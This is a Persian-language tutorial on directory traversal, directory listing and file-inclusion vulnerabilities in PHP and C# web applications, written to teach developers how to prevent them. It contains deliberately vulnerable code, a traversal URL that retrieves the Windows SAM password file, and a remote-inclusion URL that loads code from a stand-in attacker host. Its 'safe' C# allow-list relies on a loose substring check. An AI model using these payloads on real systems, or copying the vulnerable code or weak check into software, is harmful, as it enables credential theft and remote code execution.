در این قسمت به نوعی دیگر از حملات رایج به برنامه های تحت وبی می پردازیم.این گونه حملات بر روی استباهات برنامه نویس در کار با فایل ها یا دایرکتوری ها متمرکز می شود و در برخی مواقع می تواند بسیار بیشتر از حد تصور خطرناک باشد.
اولین نوع به مواقعی بر می گردد که یک برنامه نویس با گرفتن پارامتر ورودی محتویات یک فایل یا دایرکتوری را فراخوانی می کند به برنامه زیر توجه کنید.
<?php
$dir = $_GET['select'];
$files1 = @scandir($dir);
print_r($files1);
?>
این برنامه نام یک دایرکتوری را می گیرد و محتویات آن را نمایش میدهد.این روش برای کار با فایل ها و دارکتوری ها عالیست.بعضا پیش می آید که استفاده هوشمندانه از این روش ها شما را از کار با دیتابیس بی نیاز می کند.اما چه اتفاقی می افتد اگر مهاجم مقدار /.. را به متغییر select بدهد! وی به سادگی قادر به دیدن محتویات دایرکتوری دلخواه خواهد شد. شاید این مسئله در اکثر مواقع خیلی خطرناک نباشد اما معمولا کار با سیستم فایل به همین جا ختم نمیشه ، یک برنامه نویس ممکنه بخواهد با گرفتن آدرس یک فایل محتویات اون رو نمایش بده.(من خودم در خیلی مواقع از این روش استفاده می کنم).حالا برنامه بالا رو کامل می کنیم.
<?php
$filename= $_GET[‘dir’].$_GET[‘file’] ;
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
برنامه دو ورودی دارد ورودی اول نام دایرکتوری است.که در مرحله اول انتخاب می شود .پس ازنمایش فایل های موجود در دایرکتوری و سایر عملیت لازم برنامه نویس به کاربر امکان این را میدهد که یک فایل را انتخاب کرده و مشاهده کند.مثلا در یک سیستم مدیریت اسناد کاربر می تواند با انتخاب دسته بندی و سپس انتخاب فایل به فایل مورد نظر دسترسی داشته باشد.خب تا اینجای کار همه چیز بر طبق روال پیش می ره.اما یک مهاجم با وارد کردن /.. ابتدا به دایرکتوری ریشه و از اونجا به سادگی به هر دایرکتوری که بخواهد دسترسی پیدا کرده و سپس با مقدار دهی با متغییر مربوط به فایل به فایل دلخواه در دایرکتوری مورد نظر دسترسی پیدا می کند.یک مثال عملی:
http://host/filereader.php?dir=../../WINNT/repair/&file=sam
با این کار مهاجم فایل پشتیبان مربوط به نام های کاربری و پسورد ها را از سیستم ویندوز سرور دانلود می کند.سپس با دادن آن به یک برنامه پسورد کرکر به پسورد های شما دسترسی پیدا میکند.
این مسئله در سیستم های یونیکسی نیز صادق است.فهمیدن این که وب سرور شما بر روی چه سیستم عاملی قرار گرفته کار سختی نیست . پس از فهمیدن مهماجم با مراجعه به مستندات آن سیستم محل قرار گیری فایل های اعتبار سنجی را دریافته و به سراغ آن ها خواهد رفت.
امیدوارم ایده اصلی این گونه آسیب پذیری ها رو درک کرده باشید.این نوع از حملات در حقیقت از توانایی برنامه شما برای کار با دایرکتوری ها سواستفاده می کنند.
راه حل:
برای جلوگیری از این گونه حملات می تونید مکان های مجاز رو به صورت یک آرایه تعریف کنید و سپس قبل از خواندن اطلاعات دایرکتوری مورد نظر چک کنید آیا خواندن این دایرکتوری مجاز هست یا نه.مثلا:
<?php
$permited_dir=array("dir1","dir2","dir3");
if(!in_array($_GET['dir'],$permite d_dir)){
die("Unpermited directory!");
}
?>
راه دیگه اینه که در وب سرور اجازه ندهید یک وب سایت به دایرکتوری های دیگری بجز دایرکتوری مربوط به خودش دسترسی داشته باشد.
اما صبر کنید قضیه همین جا تمام نمی شود.ممکن است شما تمام این کار ها را کرده باشید اما هنوز شما ایمن نیستید!
ممکن است یک مهاجم بر اساس ساختار برنامه شما به بخش هایی که در حالت عادی امکان دسترسی از طریق برنامه را ندارد دسترسی پیدا کند.مثلا شما عکس ها وب سایت خود را به این صورت آدرس دهی می کنید.
Src=”files/images/1.gif”
به هر حا برنامه شما نیازمند است که برای رجوع های اینچنینی از دایرکتوری ها و فایل های تعریف شده در فضای وب سایت استفاده کند.حال اگر مهاجم آدرس زیر را در ن.ار آدرس تایپ کند عکس بالا را خواهد دید.
http://host/files/images/1.gif
و اگر این را تایپ کند محتویات دایرکتوری را می بیند!
http://host/files/
در بسیاری از موارد برنامه نویسان فایل های مورد نیاز برنامه یا پشتیبان های گرفته شده از دیتا بیس را با پسوند هایی نظیر inc , sql , … ذخیره می کنند . حال اگر یک مهاجم با روش بالا مکان این فایل ها را پیدا کند دسترسی به آن ها سخت نیست.این فایل ها شامل اطلاعات بسیار با ارزش و حساسیست.بنابراین مهاجم با یک میانبر ساده به اطلاعات حیاتی برنامه شما از قبیل نام کاربری یا کلمات عبور دسترسی پیدا کرده است!
ممکن است شما به کاربرانتان فضایی برای ذخیره اطلاعات و فایل های شخصی بدهید یا مثلا برای دسترسی به یک فایل سطوح کاربری تعریف کنید با این روش دیگر session ها یا کوکی ها یا هر روش اعتبار سنجی دیگری هیچ کاری نمی توانند انجام دهند.
در موارد پیشرفته تر مهاجم با استفاده از برنامه هایی که به spider معروفند به صورت اتوماتیک تمامی لینک های درون سایتی شما را بررسی کرده . تک تک آن ها را کاوش می کند و به اطلاعات مورد نظر دسترسی پیدا میکند.(هر چند شخصا به روش های دستی اطمینان بیشتری دارم)
بعضی از برنامه نویسان با قرار دادن فایل robots.txt در دایرکتوری ریشه سایت خود به این امید که مقام بالاتریدر موتور های جستجو کسب کنند کار را بسیار ساده می کنند . این فایل شامل لیستی از دایرکتوری هاست که روبوت های جستجو می توانند به آن ها دسترسی پیدا کنند یا دسترسی به آن ها ممنوع است.به هر حال موتورهای جستجو توجه چندانی به این گونه فایل ها نمی کنند و این کار تنها کمکیست به مهاجم برای ساده کردن مرحله جمع آوری اطلاعات.
راه حل:
به هیچ وجه فایل های خود را با پسوند هایی مثل inc , sql , ….. و امثالهم ذخیره نکنید.یک وب سرور زمانی که فایلی خارج از نوع فایل هایی که باید آن ها را پردازش کند (مثلا php.) را دریافت کند آن را مستقیما به کاربر تحویل می دهد یا محتوات آن را نمایش میدهد.
در تمام دایرکتوری های برنامه حود که فایل هایی رو در بر دارند یک فایل خالی با نام index.htm قرار دهید.
در وب سرور ها معمولا تعیین می شود که این گونه فایل ها (index.php , default.asp , index. Htm , )
به صورت پیش فرض در صورتیکه از طرف مرورگر کاربر فایل خاصی تقا ضا نشده باشد نمایش داده شوند.
با این روش مهاجم نمی تواند در دایرکتوری های شما کاوش کند.
در آپاچه می تونید mod_dir رو غیر فعال کند.یا برای دایرکتوری ها بوسیله .htaccess سطح دسترسی بذارید.
در آپاچه حتی میتونید بوسیله <directory> مکانیزم های دسترسی را نیز تعیین کنید.
از طرفی در نوع دیگری از حملات فایل و دایرکتوری شما ممکن است با گرفتن یک ورودی فایلی با اون نام رو include کنید در این حالت مهاجم تنها کافیست با دادن ورودی دلخواه به برنامه شما فایل دلخواهش را به برنامه وارد کرده و آن را روی سرور شما اجرا کند.برای مثال
http://host/viewsomething.php?file=readme.txt
را به
http://host/viewsomething.php?file=http://attacker/executecode.php
تبدیل کند.
خملات فوق حتی در پاره ای از موارد می توانند سبب نمایش کد برنامه شما (مثلا index.php) بر روی مرورگر گردند.
در مجموع هر چند حمله به دایکتوری ها فایل ها اکثرا جزو حملاتی با ریسک متوسط دسته بندی می شوند اما در پاره ای موارد بسیار خطرناک هستند.برای مثال آسیب پذیری رابط تحت وب روترهاس سیسکو تقریبا از مشکلی مشابه رنج می برود.
باز هم تکرار می کنم مقالات فوق صرفا برای معرفی حملات رایج است و شما باید ایده کلی آن ها دریافته و با کمی خلاقیت آن را گسترش داده و سپس از بروز آن ها در برنامه خود جلوگیری کنید.
نمونه درست و غلط در C#
private void btnSubmit_Click(object sender, System.EventArgs e)
{
string dirName = TextBox1.Text ;
//==================Unsafe
/*
System.IO.DirectoryInfo di = new System.IO.DirectoryInfo(Server.MapPath(dir Name));
System.IO.FileInfo[] fi = di.GetFiles();
foreach (System.IO.FileInfo fiTemp in fi)
Response.Write (fiTemp.Name + "<BR>");
*/
//==================Safe
string dirs = "bin|myDir1|myDir2";
if (dirs.IndexOf(dirName)!=-1 && dirName.Length > 0)
{
System.IO.DirectoryInfo di = new System.IO.DirectoryInfo(Server.MapPath(dir Name));
System.IO.FileInfo[] fi = di.GetFiles();
foreach (System.IO.FileInfo fiTemp in fi)
Response.Write (fiTemp.Name + "<BR>");
}
else
Response.Write("<font color=red>Access Deny!</font>");
}
در مقاله بعدی چگونگی پنهان سازی یا ایمن سازی متد مورد استفاده در برنامه را خواهم گفت که به جلوگیری از حملاتی که در بالا ذکر شد نیز کمک می نماید.